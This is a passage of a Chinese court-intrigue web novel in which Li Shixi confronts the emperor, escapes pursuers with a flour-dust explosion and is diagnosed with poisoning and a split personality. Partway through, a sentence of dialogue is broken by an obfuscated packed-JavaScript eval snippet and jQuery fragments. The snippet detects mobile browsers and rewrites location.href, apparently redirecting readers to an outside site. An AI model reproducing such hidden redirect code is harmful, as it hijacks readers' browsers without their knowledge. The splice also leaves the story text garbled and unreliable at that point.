“阿爝对你和瀛洲一片赤忱。”李世稀的声音透过夜色传来。
“景晖是朕的表弟,更是朕的股肱之臣,朕自然不会负他,只是……”瀛宣帝提醒李世稀,“纪陈峰听闻他兄长纪陈岚的死讯,大病一场,卧床不起。先帝留给朕三位辅政大臣:你父亲李从珂,抚养朕长大的姑母,以及朕的老师纪陈峰。如今只剩他一人,他年事已高,不经折腾的。”
那一瞬间陡然增大的阴霾与压迫感,让瀛宣帝感觉一下变得冷起来。
李世稀带着一丝讥诮:“管好你的狗。”
“迫不及待的现身,就只为来提醒朕这一句?”瀛宣帝脸上看不出喜怒,那双深不见底的眸子里,掠过一丝难以捕捉的复杂。
他像是想起了什么久远的往事,语气带着一种怪异的自嘲与感慨:“朕有时候,真的很羡慕景晖,有一个这么疼爱他的阿姊,也羡慕他,有一个像朕一样,处处为他着想的好兄长。”
这看似感慨亲情的话语,在此时此地,由瀛宣帝口中说出,却显得格外怪异。
剑刃过于锋利,一道极细的血线正缓缓从瀛宣帝指尖渗出,他不再执着颈侧的剑,将伤口展现在李世稀面前:“我受伤了。”
“姜吾野,这里没有外人,你在演什么?”李世稀看他,“你这个我悲惨人生的始作俑者。”
一句连名带姓的称呼,击碎了瀛宣帝所有虚伪的客套与试探:“当初宁愿嘴硬,选择一条不归之路,即使失去你的弟弟也无所谓,这是你的选择呀,令令。”
姜吾野笑出声来,带着一种近乎扭曲的满足感,那双眼眸深处,仿佛有火焰在灼烧,既痛楚,又快意。
“自从姑母被你亲手杀死,这偌大的皇宫,再无人敢这么唤我。”
他向前迫近一步,几乎主动将脖颈送向剑刃:“我演给谁看?你我青梅竹马,有过婚约,情谊深厚,志同道合,这天下,除了你,还有配看我演戏之人吗?”
李世稀笑意冷极:“我不管你要做什么,倘若你再让阿爝去做你那些背地里见不得人的事,再把他扯进你那些阴谋中,我们的协议,即刻作废。”
她话已带到,手中剑利落的插入两人之间。
姜吾野所有的示好,在这一句彻底的鄙弃面前,显得苍白无力。
空寂的回廊里,只响起他压抑着怒火的低语。
“为什么?你还是一如既往的不把我放在眼里,我到底要怎么做,你才能看看我。”
18. 离魂症
申都的夜,比鸠兹更添几分繁华与肃穆。
李世稀刚出皇城便察觉到有人跟踪,她掠过布满青苔的屋檐,故意行至偏远之地。在一处飞檐翘角处,毫无预兆地反身踢起脚下一片松动的青瓦。
瓦片疾射向身后暗处,却在半空中被一道银光斩为两半。
“抓露骨。”李世稀目光落在对方手中那柄银爪似的兵器上。
出手者自暗处缓缓现身,一身黑袍裹着玲珑身段,金线在衣摆袖口绣着白鹤绕玉兰飞舞的繁复图样。
她戴着半张鎏金禁制面具,露出的半张脸上,一道狰狞刀疤从眉骨划至颧骨,此时秀眉微扬,脸上罩了一层严霜。
李世稀无意纠缠,转身欲走。那人身形一晃,已持抓露骨拦在去路之前。
“没空陪你玩。”
“想走可以,把白琥的戒指留下。”清越女声自右侧传来。
李世稀侧目,旁边一座阁楼的雕花栏杆边,不知何时倚了一人。那人微微探身,额间坠着的三串奶白色玉链随之轻晃,映着朦胧月色,发出温润光泽。
她并不看李世稀,只低眸向楼下池中撒了几粒鱼食,惊散了几尾红影。
“想不到阿萨辛的苍璧权主,也对这戒指也感兴趣。”
苍璧这才抬眸看她,一手支着下巴,另一手轻拈鱼食,食指上那枚戒指在夜色里泛着幽光。
“你误会了。我来,是给你一条活路。你若识时务,便将它交予我。否则,会失去我这个朋友的,”苍璧透出几分真切似的惋惜,“你已众叛亲离,若再没朋友,得多孤单。”
李世稀闻言轻笑一声,抬手拂去袖口沾上的夜露:“我们之间的关系可谈不上朋友。”
苍璧脸上的笑容微微一凝。
李世稀眼底一片冷意:“你这副表情是做什么,搞得像你死了有人牵挂你一样。”
两人之间气氛微妙,杀机暗涌。
苍璧依旧倚着栏杆,姿态未变,将一碗鱼食尽数倒下,原本空荡的池子,瞬间浮上十几只鱼在争食:“单凭斩月,敌不过你。但我若出手,你以一敌二,胜算最多五分。”
斩月闻言,低声请示:“权主,动手吗?”
她话音刚落,李世稀身形已动,原处立足之地已被斩月的露骨撕开几道深痕!
李世稀指尖一弹,戒指脱手而出,直射向阁楼下方的观赏水池:“想要?自己捞。”
几乎在白琥戒指脱手的同一瞬,她足下发力,猛然撞向身侧一间民居的木窗,一声碎响,人影已没入那片黑暗之中。
斩月飞身扑向水池,探入水中一捞,带起几圈涟漪,已将那枚戒指抓在手中,她几个起落回到苍璧身旁,恭敬呈上。
苍璧接过那枚犹带水渍的戒指细细观察:“并没有什么不同嘛。”她指尖稍一用力,戒指竟在她手中瞬间化为齑粉。
“假的!”斩月脸色一变,立刻反应过来,身形暴起,冲向那扇被李世稀撞破的木窗。
窗内并非百姓的卧房,而是一间堆满麻袋的仓库。不少麻袋被划破,白色的面粉正哗哗地往地上淌,空气中,粉尘呛人。
斩月心道不妙,眼角余光已瞥见仓库角落几支正在燃烧的火折子,散发着危险的火星。
“轰——!!!”
爆炸声瞬间响起,炽热的火焰夹杂着冲击波,将仓库门窗尽数摧毁,火光冲天而起。
几日后,申都城西门大开。
瀛洲礼部一众官员迎西京和亲使团入河清驿馆。
这河清驿馆前朝后寝,多重院落。外围高墙环绕,角楼瞭望,长乐公主暂居的峥嵘院是馆内最精致的院落,由宫廷禁卫与长乐的亲兵共同把守。
秋实推门进来,脸上带着温怒。
长乐斜倚在铺着灰花色狐狸裘皮的躺椅中,如烟般的墨色长发垂于身后,手持书卷,一身素衣却掩不住通身的贵气,她眼皮都没抬一下:“谁惹你生气了?”
秋实不满道:“里三层外三层,进出皆需层层审问盘查。瀛洲表面礼数周全,却将您安置在这宫外河清驿馆多日,如今这般阵仗,哪里是保护?分明像是在看管重要的囚犯。”
长乐放下书:“无妨。宫内耳目众多,住在驿馆虽是牢笼,行事反倒方便些。”她眸光微转,“七哥之事,查得如何?”
“已命我们的人暗中打探。华阳公主殉节、七皇子随后薨逝,官面说法并无破绽。但柳云亦死前所言,恐怕并非空穴来风。探子来报,柳云亦在被下诏狱的前一日,曾秘密见过一人。那人离开后第二日,他便被瀛宣帝下旨拿下。”
长乐眸色一沉。
柳云亦老谋深算,在朝堂经营多年,若真听到风声,为何不选择远遁,反而坐以待毙?
他见的那个人,是关键。
“找到那人,小心行事,莫要打草惊蛇。”
“是。”秋实应下。
长乐察觉她的异样,问:“还有何事?”
秋实欲言又止:“有一人……不知殿下是否愿见?”
“谁?”
“李世稀。”秋实顿了顿,“但她……有点不对劲。”
长乐思索再三:“让她进来。”
秋实领命而去,不多时,院外传来一阵轻微的骚动,房门被猛地推开,一道身影径直冲到长乐面前:“你要赖账?!”
长乐怔住,凝神审视眼前人。
李世稀眉宇间神采飞扬,眼神清澈透亮,带着毫不掩饰的嗔怒,与白琥地宫中那副淡然自若,冷酷无情的模样完全不同。
长乐不语,她更加来气:“我们不是一早说好,我帮你查你兄长死因,你给我五百两!你现在想反悔不成?”见长乐似乎想不认账,她更急了,上前一步。
秋实情急之下拦在长乐面前,李世稀仍欲上前,下意识一掌击向她左肩。
李世稀吃痛闷哼,受不住力道,踉跄倒飞出去,撞上梁柱。
秋实愕然看着自己手掌,她怕不是对手,适才用了十分的力,没想到竟如此轻易就将人击飞。
李世稀爬起来,强撑着气势,努力让自己看起来凶神恶煞一些:“我替嫁,你给我五十两银子,若能帮你查你七哥死因的线索,就再给五百两。柳云亦的事我刚告诉了你,你就想翻脸?坏女人!堂堂公主,怎么能言而无信?拿银子来!”
秋实看着这装疯卖傻的架势,脱口斥道:“你有病吧?!”
长乐对秋实能击飞李世稀也很吃惊:“李姑娘这是何意?地宫之中,本宫已践诺,姑娘何故纠缠不休?”
“你在说什么?什么承诺?”李世稀一脸茫然,“你为何不带着我一起,要把我丢在外面?害我打听好久,才知道你们住这儿。我还没找你算账,你倒先找我的麻烦?!”
她伸出五根手指头,掌心赫然是还未愈合的伤疤:“那老头喇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087742|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的痛死了,我这算工伤,你得付药费!”
她又抬手额外伸出一根:“五百两不够,我要五百零一两。”
长乐定了定神,看着眼前这个无害的李世稀,放缓语气,“银子,好说。不过本宫从不和无名之辈打交道,你,究竟是谁?”
李世稀眨了眨眼,有些莫名其妙:“我?我是李幼澄啊。”
“李姑娘状态似有不适。秋实,就说我有些不舒服,唤随行的御医来,再备些茶点。”长乐吩咐道,“待姑娘用完茶点,若身无大碍,封足银两,礼送出驿馆。”
李幼澄一听有吃有喝还能看病,顿时眉眼弯弯如偷腥的猫,舔了舔嘴唇,假意推辞:“这多不好意思,不过公主盛情难却,我就却之不恭了。”
茶点很快备好。
李幼澄吃得津津有味,毫无戒备之心。不一会,一位鬓发微白的老者提着药箱入内,正是随行的西京御医。
御医将一块帕子放在李幼澄腕间,开始诊脉。
片刻后,他眉头越皱越紧,面色凝重的收回手,转向长乐。
“回禀殿下,这位姑娘脉象细弱而涩……”他碰上秋实的眼神,马上会意,“……只是神气亏乏,休养调摄便能恢复。”
“我说呢,近日怎么没什么食欲,原是疲劳过度。”李幼澄嘀咕。
秋实看着盘里空了大半的糕点,这叫没有食欲?
她唤来女侍:“先带李姑娘去东跨院。”
“东跨院是哪里?”李幼澄不懂就问。
长乐出声:“李姑娘放心,那里是侍女嬷嬷暂住之地,姑娘风尘仆仆,汤浴后再奉上银钱。”
“还是公主贴心呀,我都快臭了,”李幼澄莞尔一笑,“那就大恩不言谢。”
她随侍女离开。
“说罢。”
御医沉声道:“这位姑娘恐命不久矣。”
“何解?”
“其一,她体内有毒残留。此毒阴损,中毒后十二个时辰内必死。但她体内又有另一种剧毒,按理来说,身怀两种剧毒早已身死,可偏偏是这第二种毒,压制了第一种的毒性,这不会让她立刻死去,但会缓慢侵蚀经脉,最终,可能动弹不得,沦为需要靠他人照顾的废人。”
“其二,她五脏六腑皆有不同程度的陈年旧伤,观其痕迹,至少有五年以上,应是早年历经过沙场,重伤濒死所留,这躯体早已如风烛残年。能活至今,怕是凭一口气吊着。”
长乐心中了然,以纪陈岚的为人,在地宫给的,果然不是解药,李世稀只能以毒攻毒来压制,而那旧伤,恐怕是她早年征战留下的痕迹。
御医继续道:“最奇者,在于其神。这姑娘脉象时沉时浮,依古籍所载,此症名为百合。”
秋实脱口而出:“邪祟附身?”
“医者不言怪力乱神。”御医摇头,委婉问道,“女官是否见过她突然像变了个人,记忆亦有丢失?”
“确如老先生所言。”
“若非天生,人在极端痛苦之下会得此症。一体二神,如同并蒂双生,共享根本,却各有其态。一神主导时,另一神便隐而不显,记忆、心性乃至武学修为,皆可能截然不同。”
长乐缓缓吐出三个字:“离魂症。”
“殿下所言极是,民间亦有此说。”御医点头,“此症极为罕见,臣也只是从残卷中窥得一二。至于如何诊治,请恕臣学识浅薄。”